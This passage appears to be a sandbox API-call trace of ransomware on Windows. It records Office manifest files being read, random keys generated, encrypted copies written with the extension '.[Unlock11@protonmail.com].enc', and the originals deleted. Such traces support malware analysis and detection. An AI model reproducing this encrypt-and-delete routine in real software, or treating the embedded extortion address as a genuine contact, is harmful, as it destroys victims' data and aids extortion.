hHeap=0x2ad0000) returned 1 [0134.376] GetLastError () returned 0x0 [0134.376] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] GetCurrentThreadId () returned 0x9b0 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] GetLastError () returned 0x0 [0134.377] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0134.377] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x83ea71ba, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x83ea71ba, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x841a1e52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.378] GetLastError () returned 0x0 [0134.378] GetCurrentThreadId () returned 0x9b0 [0134.378] GetLastError () returned 0x0 [0134.378] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b50c | out: pbBuffer=0x366b50c) returned 1 [0134.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0134.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a34c0 [0134.378] GetCurrentThreadId () returned 0x9b0 [0134.378] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eabc0 [0134.378] GetCurrentThreadId () returned 0x9b0 [0134.378] GetLastError () returned 0x0 [0134.379] GetCurrentThreadId () returned 0x9b0 [0134.379] GetCurrentThreadId () returned 0x9b0 [0134.379] GetLastError () returned 0x0 [0134.379] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.379] GetFileType (hFile=0x39c) returned 0x1 [0134.379] GetCurrentThreadId () returned 0x9b0 [0134.379] GetLastError () returned 0x0 [0134.379] GetFileType (hFile=0x39c) returned 0x1 [0134.379] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.380] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.380] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.380] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.380] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.380] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.380] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.380] GetLastError () returned 0x0 [0134.380] GetCurrentThreadId () returned 0x9b0 [0134.380] GetLastError () returned 0x0 [0134.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d66a8 | out: hHeap=0x2ad0000) returned 1 [0134.380] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.381] GetLastError () returned 0x0 [0134.381] GetLastError () returned 0x0 [0134.381] GetLastError () returned 0x0 [0134.381] GetLastError () returned 0x0 [0134.381] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.381] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.381] GetLastError () returned 0x0 [0134.381] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.390] GetFileType (hFile=0x3ac) returned 0x1 [0134.390] GetLastError () returned 0x0 [0134.390] GetCurrentThreadId () returned 0x9b0 [0134.390] GetLastError () returned 0x0 [0134.390] GetFileType (hFile=0x3ac) returned 0x1 [0134.391] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.391] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.391] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.391] GetLastError () returned 0x0 [0134.391] GetCurrentThreadId () returned 0x9b0 [0134.391] GetLastError () returned 0x0 [0134.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65e8 | out: hHeap=0x2ad0000) returned 1 [0134.391] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31cf358 | out: hHeap=0x2ad0000) returned 1 [0134.392] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.392] GetLastError () returned 0x0 [0134.392] GetLastError () returned 0x0 [0134.392] GetCurrentThreadId () returned 0x9b0 [0134.392] GetLastError () returned 0x0 [0134.392] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.392] GetLastError () returned 0x0 [0134.392] GetLastError () returned 0x0 [0134.392] GetCurrentThreadId () returned 0x9b0 [0134.392] GetLastError () returned 0x0 [0134.393] GetLastError () returned 0x0 [0134.394] GetLastError () returned 0x0 [0134.394] GetCurrentThreadId () returned 0x9b0 [0134.394] GetLastError () returned 0x0 [0134.394] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x35d65b8 | out: hHeap=0x2ad0000) returned 1 [0134.394] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x508) returned 0x3827e98 [0134.395] GetLastError () returned 0x0 [0134.395] GetLastError () returned 0x0 [0134.395] GetLastError () returned 0x0 [0134.395] GetLastError () returned 0x0 [0134.395] GetLastError () returned 0x0 [0134.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827e98 | out: hHeap=0x2ad0000) returned 1 [0134.395] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881198 [0134.395] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881198 | out: hHeap=0x2ad0000) returned 1 [0134.396] GetLastError () returned 0x0 [0134.396] GetLastError () returned 0x0 [0134.396] GetLastError () returned 0x0 [0134.396] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3827950 | out: hHeap=0x2ad0000) returned 1 [0134.396] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8a58 [0134.396] GetLastError () returned 0x0 [0134.396] GetLastError () returned 0x0 [0134.396] GetLastError () returned 0x0 [0134.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8a58 | out: hHeap=0x2ad0000) returned 1 [0134.397] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0134.397] GetLastError () returned 0x0 [0134.398] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2cc74f0 | out: hHeap=0x2ad0000) returned 1 [0134.398] CloseHandle (hObject=0x3ac) returned 1 [0134.398] GetLastError () returned 0x0 [0134.398] GetLastError () returned 0x0 [0134.398] GetLastError () returned 0x0 [0134.398] CloseHandle (hObject=0x39c) returned 1 [0134.398] GetLastError () returned 0x0 [0134.398] GetLastError () returned 0x0 [0134.399] GetLastError () returned 0x0 [0134.399] GetLastError () returned 0x0 [0134.399] GetLastError () returned 0x0 [0134.399] GetLastError () returned 0x0 [0134.399] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0134.400] GetLastError () returned 0x0 [0134.400] GetLastError () returned 0x0 [0134.400] GetLastError () returned 0x0 [0134.400] GetLastError () returned 0x0 [0134.400] GetLastError () returned 0x0 [0134.400] GetLastError () returned 0x0 [0134.401] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 0x68 [0134.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fa8 [0134.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fa8 | out: hHeap=0x2ad0000) returned 1 [0134.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f38 [0134.401] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262f38 | out: hHeap=0x2ad0000) returned 1 [0134.401] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.401] GetLastError () returned 0x0 [0134.401] GetLastError () returned 0x0 [0134.401] GetLastError () returned 0x0 [0134.401] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.402] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.403] GetLastError () returned 0x0 [0134.403] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d62d0 | out: hHeap=0x2ad0000) returned 1 [0134.403] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.403] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a8a8 | out: hHeap=0x2ad0000) returned 1 [0134.404] GetLastError () returned 0x0 [0134.404] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.404] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.404] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.405] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.405] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf982bd9c, ftCreationTime.dwHighDateTime=0x1d47c33, ftLastAccessTime.dwLowDateTime=0xf982bd9c, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xf98c485a, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x4ed)) returned 1 [0134.405] GetLastError () returned 0x0 [0134.405] GetLastError () returned 0x0 [0134.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6078 | out: hHeap=0x2ad0000) returned 1 [0134.406] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b46c | out: pbBuffer=0x366b46c) returned 1 [0134.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0134.406] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a37d0 [0134.406] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0134.406] GetLastError () returned 0x0 [0134.406] GetLastError () returned 0x0 [0134.406] GetLastError () returned 0x0 [0134.406] GetLastError () returned 0x0 [0134.406] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.407] GetFileType (hFile=0x39c) returned 0x1 [0134.407] GetFileType (hFile=0x39c) returned 0x1 [0134.407] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.407] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.407] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.407] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.407] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.407] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.407] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.407] GetCurrentThreadId () returned 0x9b0 [0134.408] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0134.408] GetFileType (hFile=0x3ac) returned 0x1 [0134.408] GetCurrentThreadId () returned 0x9b0 [0134.408] GetFileType (hFile=0x3ac) returned 0x1 [0134.408] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.408] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.408] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.408] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.409] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.409] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.409] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.409] GetCurrentThreadId () returned 0x9b0 [0134.409] GetCurrentThreadId () returned 0x9b0 [0134.409] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0134.409] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881108 | out: hHeap=0x2ad0000) returned 1 [0134.409] GetCurrentThreadId () returned 0x9b0 [0134.409] GetCurrentThreadId () returned 0x9b0 [0134.411] GetCurrentThreadId () returned 0x9b0 [0134.411] GetCurrentThreadId () returned 0x9b0 [0134.411] GetCurrentThreadId () returned 0x9b0 [0134.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x505) returned 0x3828928 [0134.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38283e0 | out: hHeap=0x2ad0000) returned 1 [0134.411] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881138 [0134.411] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881138 | out: hHeap=0x2ad0000) returned 1 [0134.411] GetCurrentThreadId () returned 0x9b0 [0134.412] GetCurrentThreadId () returned 0x9b0 [0134.412] CloseHandle (hObject=0x3ac) returned 1 [0134.413] GetCurrentThreadId () returned 0x9b0 [0134.413] CloseHandle (hObject=0x39c) returned 1 [0134.413] GetCurrentThreadId () returned 0x9b0 [0134.413] DeleteFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0134.414] GetCurrentThreadId () returned 0x9b0 [0134.414] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml", lpFilePart=0x9bada4*="AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml") returned 0x68 [0134.414] GetCurrentThreadId () returned 0x9b0 [0134.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d40 [0134.414] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d40 | out: hHeap=0x2ad0000) returned 1 [0134.414] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0134.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262fe0 | out: hHeap=0x2ad0000) returned 1 [0134.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.415] GetLastError () returned 0x0 [0134.415] GetLastError () returned 0x0 [0134.415] GetLastError () returned 0x0 [0134.415] GetLastError () returned 0x0 [0134.415] GetCurrentThreadId () returned 0x9b0 [0134.415] GetLastError () returned 0x0 [0134.415] GetCurrentThreadId () returned 0x9b0 [0134.415] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.415] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetCurrentThreadId () returned 0x9b0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetLastError () returned 0x0 [0134.416] GetCurrentThreadId () returned 0x9b0 [0134.417] GetLastError () returned 0x0 [0134.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.417] GetCurrentThreadId () returned 0x9b0 [0134.417] GetLastError () returned 0x0 [0134.417] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d64b0 | out: hHeap=0x2ad0000) returned 1 [0134.417] GetLastError () returned 0x0 [0134.417] GetLastError () returned 0x0 [0134.417] GetLastError () returned 0x0 [0134.417] GetCurrentThreadId () returned 0x9b0 [0134.417] GetLastError () returned 0x0 [0134.417] GetLastError () returned 0x0 [0134.418] GetLastError () returned 0x0 [0134.418] GetLastError () returned 0x0 [0134.418] GetLastError () returned 0x0 [0134.418] GetCurrentThreadId () returned 0x9b0 [0134.418] GetLastError () returned 0x0 [0134.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0134.418] GetLastError () returned 0x0 [0134.418] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6258 | out: hHeap=0x2ad0000) returned 1 [0134.418] GetLastError () returned 0x0 [0134.418] GetLastError () returned 0x0 [0134.418] GetLastError () returned 0x0 [0134.419] GetCurrentThreadId () returned 0x9b0 [0134.419] GetLastError () returned 0x0 [0134.419] GetLastError () returned 0x0 [0134.419] GetLastError () returned 0x0 [0134.419] GetLastError () returned 0x0 [0134.419] GetLastError () returned 0x0 [0134.419] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0134.419] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x839bc0c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x839bc0c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x83e80c2c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2400)) returned 1 [0134.419] GetLastError () returned 0x0 [0134.420] GetCurrentThreadId () returned 0x9b0 [0134.420] GetLastError () returned 0x0 [0134.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x31d6780 | out: hHeap=0x2ad0000) returned 1 [0134.420] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366b3cc | out: pbBuffer=0x366b3cc) returned 1 [0134.420] GetCurrentThreadId () returned 0x9b0 [0134.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36225c0 [0134.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a31b0 [0134.420] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36225c0 | out: hHeap=0x2ad0000) returned 1 [0134.420] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.420] GetLastError () returned 0x0 [0134.420] GetLastError () returned 0x0 [0134.421] GetLastError () returned 0x0 [0134.421] GetLastError () returned 0x0 [0134.421] GetCurrentThreadId () returned 0x9b0 [0134.421] GetLastError () returned 0x0 [0134.421] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.421] GetCurrentThreadId () returned 0x9b0 [0134.421] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x1c) returned 0x33eab20 [0134.421] GetLastError () returned 0x0 [0134.421] GetLastError () returned 0x0 [0134.421] GetLastError () returned 0x0 [0134.421] GetLastError () returned 0x0 [0134.422] GetCurrentThreadId () returned 0x9b0 [0134.422] GetLastError () returned 0x0 [0134.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33eab20 | out: hHeap=0x2ad0000) returned 1 [0134.422] GetCurrentThreadId () returned 0x9b0 [0134.422] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x35d65b8 [0134.422] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x34a31b0 | out: hHeap=0x2ad0000) returned 1 [0134.422] GetLastError () returned 0x0 [0134.422] GetLastError () returned 0x0 [0134.422] GetLastError () returned 0x0 [0134.422] GetLastError () returned 0x0 [0134.423] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881228 | out: hHeap=0x2ad0000) returned 1 [0134.423] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x35d65e8 [0134.423] GetLastError () returned 0x0 [0134.423] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00BA-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00ba-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0134.423] GetFileType (hFile=0x39c) returned 0x1 [0134.423] GetLastError () returned 0x0 [0134.423] GetCurrentThreadId () returned 0x9b0 [0134.423] GetLastError () returned 0x0 [0134.423] GetFileType (hFile=0x39c) returned 0x1 [0134.423] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0134.424] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0134.424] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0134.424] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 